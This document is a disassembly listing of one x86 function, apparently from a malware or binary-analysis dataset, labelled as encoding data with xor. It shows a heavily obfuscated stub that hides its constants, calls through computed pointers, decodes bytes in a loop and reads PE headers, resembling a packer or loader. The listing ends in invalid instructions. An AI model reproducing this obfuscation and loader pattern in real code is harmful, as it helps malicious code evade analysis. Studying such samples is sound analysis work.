Function at 0x403a04
Capabilities:
Encode data using xor

Disassembly:
xor esi, edi
xor esi, 0x3b972785
mov edi, esi
push edi
mov edi, 0x54f6a1a5
xor edi, 0x4c3f4acc
push edi
mov edi, 0x7e934c1c
mov edx, 0x3636c600
xor edx, edi
pop esi
xor edx, esi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], edx
mov esi, 0x39d9cecf
xor esi, 0x43e529b3
push esi
push 0x1faa1fb5
mov edx, 0x11e4919f
pop esi
xor edx, esi
pop edi
xor edx, edi
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], edx
xor esi, esi
add esi, esp
add esp, 0xfffffffc
mov dword [esp], esi
mov edi, 0
xor edi, ebx
fild word [ebx - 0x1d76033c]
mov dword [edx], edi
mov ebx, 0x3d79f6ee
xor ebx, 0x3d79f75e
mov edx, 0x19b234d
xor edx, 0x1dbf345
xor ebx, edx
call dword [ebx]
add esp, 0x10
mov edx, 0x13e20eda
mov ebx, 0x679e2a3c
xor ebx, edx
mov edx, 0x5c89c059
xor ebx, edx
xor ebx, 0x28f5e4bf
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ebx
xor edx, edx
add edx, esp
mov ebx, edx
add esp, 0xfffffffc
mov dword [esp], ebx
mov edx, 0
mov esi, 0
xor edx, esi
mov ebx, 0x400b72b7
xor ebx, 0x400b72f7
xor edx, ebx
mov esi, edx
add esp, 0xfffffffc
mov dword [esp], esi
mov esi, 0x1980fc44
mov ebx, 0x19807844
xor ebx, esi
push 0x78122789
mov edx, 0x78123789
pop esi
xor edx, esi
xor ebx, edx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ebx
mov esi, 0x46374dd0
mov ebx, 0x46774dd0
xor ebx, esi
mov edx, 0
mov esi, 0x1000
xor edx, esi
xor ebx, edx
mov edi, ebx
add esp, 0xfffffffc
mov dword [esp], edi
call eax
mov edx, 0x401234
mov esi, edx
mov eax, esi
mov esi, eax
push esi
mov esi, edx
mov eax, esi
mov edx, eax
xor edi, edi
add edi, edx
mov ebx, 0x7dc4289f
xor ebx, 0x118d7bbb
mov eax, 0x64080002
mov edx, 0x84150d1
xor eax, edx
xor eax, ebx
add edi, eax
add edi, 0xffffffff
add esi, eax
mov ebx, eax
add esp, 0xfffffffc
mov dword [esp], ebx
add esp, 0xfffffffc
mov edx, esp
mov ebx, edx
mov dword [ebx], esi
xor eax, eax
mov al, byte [edi]
add esi, eax
mov al, byte [esi]
pop esi
mov byte [edi], al
mov ebx, 0x47968b50
xor ebx, 0x47968b51
sub edi, ebx
pop eax
mov edx, 0x3964fd65
mov ebx, 0x3964fd64
xor ebx, edx
sub eax, ebx
xor ebx, ebx
add ebx, eax
or ebx, ebx
jne 0x403af2
pop edi
mov esi, 0x40c020
mov ebx, pe_nt_image_headers32
xor esi, ebx
push 0x121268a
mov eax, 0x1213612
pop ebx
xor eax, ebx
xor esi, eax
mov eax, 0
xor eax, esi
mov ebx, 1
sub eax, ebx
mov esi, dword [eax + 1]
mov edx, 0
xor edx, esi
mov eax, edx
add esp, 0xfffffffc
mov dword [esp], eax
mov edx, 0x7ad72876
xor edx, 0x46e158f1
push edx
mov eax, 0x38066000
mov edx, 0x4301087
xor eax, edx
pop ebx
xor eax, ebx
mov edx, eax
add esp, 0xfffffffc
mov dword [esp], edx
mov eax, 0x3248d204
mov edx, 0x71be8746
xor edx, eax
mov esi, 0x4dea8c7f
xor esi, 0xe5c08a1
xor esi, edx
mov edx, 0
xor edx, esi
sub edx, 0x4a
mov ebx, 0xffffffff
add edx, ebx
mov esi, dword [edx + 0x4b]
add esp, 0xfffffffc
push esp
pop eax
mov dword [eax], esi
push 0x56799a85
mov esi, 0x73ea2a77
pop eax
xor esi, eax
mov eax, 0x63a632a6
mov edx, 0x463581a3
xor edx, eax
xor edx, esi
add edx, edi
mov esi, 0
xor esi, edx
add esp, 0xfffffffc
mov dword [esp], esi
mov esi, 0x43082d14
mov eax, 0xc128002
xor esi, eax
push esi
mov eax, 0x569b430
mov ebx, 0x4a73cd26
xor ebx, eax
pop edx
xor ebx, edx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ebx
mov eax, 0x5d3ccfdb
xor eax, 0x5d3ccfce
invalid
invalid
jp 0x403bf4